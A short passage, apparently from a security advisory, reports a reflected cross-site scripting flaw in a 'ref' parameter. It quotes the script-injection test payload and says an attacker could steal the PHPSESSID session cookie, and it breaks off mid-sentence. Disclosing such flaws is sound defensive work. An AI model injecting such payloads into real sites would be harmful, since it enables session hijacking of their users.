## Description:
The value of the ref request parameter is copied into the value of an
HTML tag attribute which is encapsulated in double quotation marks.
The payload vy7tu"><script>alert(1)</script>e284ovbptuv was submitted
in the ref parameter. This input was echoed unmodified in the
application's response. The attacker can steal PHPSESSID cookie and
